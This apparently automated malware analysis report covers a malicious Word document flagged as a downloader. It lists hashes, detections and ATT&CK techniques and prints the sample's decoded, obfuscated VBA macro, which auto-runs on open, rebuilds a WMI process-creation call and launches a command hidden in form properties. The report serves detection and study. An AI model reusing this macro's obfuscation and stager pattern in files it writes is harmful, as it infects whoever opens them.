Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7be1c34d804734f3…

MALICIOUS

Office (OLE)

170.5 KB Created: 2020-08-07 17:37:00 Authoring application: Microsoft Office Word First seen: 2020-09-24
MD5: eb503e2dbd9614769e45a5cb1ece4be7 SHA-1: 21c3dfe70084d74f3b135352156d476a2a1f832f SHA-256: 7be1c34d804734f3afcc2f5ee916ac73a407ab72708fcd6a8404df1d65a27b29
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains VBA macros, including a Document_Open macro and a hidden-property command stager that uses CreateObject. This indicates an attempt to automatically execute malicious code upon opening the document. The script's obfuscated nature and reliance on string concatenation to build its payload suggest it is designed to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Sagent-9240956-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-9240956-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3958 bytes
SHA-256: 0d4febc4e299d3e2346f05579de6b99082de9dd00f2d20084ae280019973ca76
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "POYLPpdrpuecd"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
KWHUMowglreeowb.PMHHTbsebkmzionlkrp
End Sub


Attribute VB_Name = "KWHUMowglreeowb"
Attribute VB_Base = "0{89A5B0D1-1B68-4A57-A23C-A88B4E7F6056}{C59E0DB7-307A-4601-9905-E4B6835FCEF9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function PMHHTbsebkmzionlkrp()
Dim j1Ì6Î As Integer
j1Ì6Î = 9
Do While j1Ì6Î < 9 + 9
j1Ì6Î = j1Ì6Î + 1: DoEvents
Loop
Dim QaWytUTJ As Integer
QaWytUTJ = Len("nyb6ÜfY")
Dim EMdBhGoOL As Integer
EMdBhGoOL = Len("UXBm")
TYRPNmhhcnipdigfx = Chr(KWHUMowglreeowb.Zoom + ((30 + 60 + 30) / (4 + 4)))
Dim AVRUMwK As Object
MYILXugyhgmfpixg = "3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bsw3833h4*hh^@njhs72g hus7777bsi3833h4*hh^@njhs72g hus7777bsnm3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bsgm3833h4*hh^@njhs72g hus7777bst3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bs" + TYRPNmhhcnipdigfx + "3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bs:3833h4*hh^@njhs72g hus7777bsw3833h4*hh^@njhs72g hus7777bsin3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bs33833h4*hh^@njhs72g hus7777bs23833h4*hh^@njhs72g hus7777bs_3833h4*hh^@njhs72g hus7777bs" + KWHUMowglreeowb.NYANKqoyaecza + "3833h4*hh^@njhs72g hus7777bsro3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bsce3833h4*hh^@njhs72g hus7777bss3833h4*hh^@njhs72g hus7777bss3833h4*hh^@njhs72g hus7777bs"
Dim MoLW As Object
XBXKOfhwbtlhwlg = DHJJNthdatuqbdo(MYILXugyhgmfpixg)
Dim aXw As Integer
aXw = 1
Do While aXw < 1 + 8
aXw = aXw + 9: DoEvents
Loop
Set ANUJZymludyffoz = CreateObject(XBXKOfhwbtlhwlg)
Dim O1åA As Integer
O1åA = 6
Do While O1åA < 6 + 6
O1åA = O1åA + 3: DoEvents
Loop
GCWJXtnfpgczmzrvf = KWHUMowglreeowb.GZKIQvmqkkwj.ControlTipText
Dim BZ1ÎWrm As Boolean
FOYMTgroxdtdjga = b3 + (XBXKOfhwbtlhwlg + TYRPNmhhcnipdigfx + KWHUMowglreeowb.FLUPMcitpnwk.ControlTipText + GCWJXtnfpgczmzrvf)
Dim Lhs8ÝW8ÃZV As Integer
Lhs8ÝW8ÃZV = 4
Do While Lhs8ÝW8ÃZV < 4 + 5
Lhs8ÝW8ÃZV = Lhs8ÝW8ÃZV + 2: DoEvents
Loop
USCYAzmnfnqvbcingg = FOYMTgroxdtdjga + KWHUMowglreeowb.NYANKqoyaecza
Dim P3áOQ As Object
Set ZPWATcqsdxyl = JECLHqfbiovnjkvj(USCYAzmnfnqvbcingg)
Dim fYLYIDH As Integer
fYLYIDH = Len("ZQfY")
s = Array(v + "is", ANUJZymludyffoz. _
Create(SOPEOugudexryiwlqq, EFBDYqxhzibxxfp, ZPWATcqsdxyl), i + "rt")
Dim qZNvlj As Double
End Function
Function JECLHqfbiovnjkvj(FFFCCwfalfkyxjb)
Set JECLHqfbiovnjkvj = CreateObject(FFFCCwfalfkyxjb)
Dim oFNsCjHpPN As Double
JECLHqfbiovnjkvj. _
showwindow = KGVNLmvxwrampeorpsf + NKYSQuqrsrtiwsfj + KYSJEghplrutjhez
Dim w0ÎjMvtMr As Byte
End Function
Function DHJJNthdatuqbdo(BCEKGyfgmhtwyquxhad)
IZAEZkrfkuhmgnxmh = BCEKGyfgmhtwyquxhad
Dim rrv As Integer
rrv = 3
Do While rrv < 3 + 1
rrv = rrv + 4: DoEvents
Loop
MOULLbuymhhwk = Split _
(IZAEZkrfkuhmgnxmh, "3833h4*hh^@njhs72g hus7777bs")
Dim uRbu4Äf As Integer
uRbu4Äf = 8
Do While uRbu4Äf < 8 + 6
uRbu4Äf = uRbu4Äf + 2: DoEvents
Loop
KVDLEumjuyiscpmzey = e2 + Join(MOULLbuymhhwk, w1)
Dim wE8e As Date
DHJJNthdatuqbdo = KVDLEumjuyiscpmzey
Dim II0Í6àm8È As Variant
End Function
Function SOPEOugudexryiwlqq()
q = KWHUMowglreeowb.GCWBImlozweopy.Pages((2 * 5) / 10).Caption
Dim KcJ2ÑZNvlja As Integer
KcJ2ÑZNvlja = 4
Do While KcJ2ÑZNvlja < 4 + 5
KcJ2ÑZNvlja = KcJ2ÑZNvlja + 2: DoEvents
Loop
SOPEOugudexryiwlqq = DHJJNthdatuqbdo(q)
Dim WpUViEN As Integer
WpUViEN = 6
Do While WpUViEN < 6 + 4
WpUViEN = WpUViEN + 4: DoEvents
Loop
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.